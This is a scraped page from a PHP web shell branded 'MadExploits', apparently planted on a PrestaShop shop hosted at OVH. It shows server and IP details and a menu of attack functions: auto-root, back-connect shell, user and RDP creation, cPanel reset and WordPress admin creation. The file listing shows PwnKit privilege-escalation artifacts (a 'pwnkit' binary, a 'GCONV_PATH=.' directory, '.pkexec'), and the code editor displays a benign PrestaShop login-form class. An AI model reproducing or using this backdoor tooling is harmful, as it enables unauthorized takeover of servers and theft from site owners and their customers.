Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
alba-demenagements /
classes /
form /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AbstractForm.php
5.39
KB
-rw----r--
CustomerAddressForm.php
6.63
KB
-rw----r--
CustomerAddressFormatter.php
8.73
KB
-rw----r--
CustomerAddressPersister.php
3.47
KB
-rw----r--
CustomerForm.php
8.55
KB
-rw----r--
CustomerFormatter.php
8.67
KB
-rw----r--
CustomerLoginForm.php
4.11
KB
-rw----r--
CustomerLoginFormatter.php
2.2
KB
-rw----r--
CustomerPersister.php
7.25
KB
-rw----r--
FormField.php
3.92
KB
-rw----r--
FormFormatterInterface.php
1.12
KB
-rw----r--
FormInterface.php
1.46
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CustomerLoginForm.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Core\Util\InternationalizedDomainNameConverter; use Symfony\Component\Translation\TranslatorInterface; class CustomerLoginFormCore extends AbstractForm { private $context; private $urls; protected $template = 'customer/_partials/login-form.tpl'; /** * @var InternationalizedDomainNameConverter */ private $IDNConverter; public function __construct( Smarty $smarty, Context $context, TranslatorInterface $translator, CustomerLoginFormatter $formatter, array $urls ) { parent::__construct( $smarty, $translator, $formatter ); $this->context = $context; $this->translator = $translator; $this->formatter = $formatter; $this->urls = $urls; $this->constraintTranslator = new ValidateConstraintTranslator( $this->translator ); $this->IDNConverter = new InternationalizedDomainNameConverter(); } public function submit() { if ($this->validate()) { Hook::exec('actionAuthenticationBefore'); $customer = new Customer(); $authentication = $customer->getByEmail( $this->getValue('email'), $this->getValue('password') ); if (isset($authentication->active) && !$authentication->active) { $this->errors[''][] = $this->translator->trans('Your account isn\'t available at this time, please contact us', [], 'Shop.Notifications.Error'); } elseif (!$authentication || !$customer->id || $customer->is_guest) { $this->errors[''][] = $this->translator->trans('Authentication failed.', [], 'Shop.Notifications.Error'); } else { $this->context->updateCustomer($customer); Hook::exec('actionAuthentication', ['customer' => $this->context->customer]); // Login information have changed, so we check if the cart rules still apply CartRule::autoRemoveFromCart($this->context); CartRule::autoAddToCart($this->context); } } return !$this->hasErrors(); } public function fillWith(array $params = []) { if (!empty($params['email'])) { // In some cases, browsers convert non ASCII chars (from input type="email") to "punycode", // we need to convert it back $params['email'] = $this->IDNConverter->emailToUtf8($params['email']); } return parent::fillWith($params); } public function getTemplateVariables() { if (!$this->formFields) { $this->formFields = $this->formatter->getFormat(); } return [ 'action' => $this->action, 'urls' => $this->urls, 'formFields' => array_map( function (FormField $field) { return $field->toArray(); }, $this->formFields ), 'errors' => $this->getErrors(), ]; } }
Close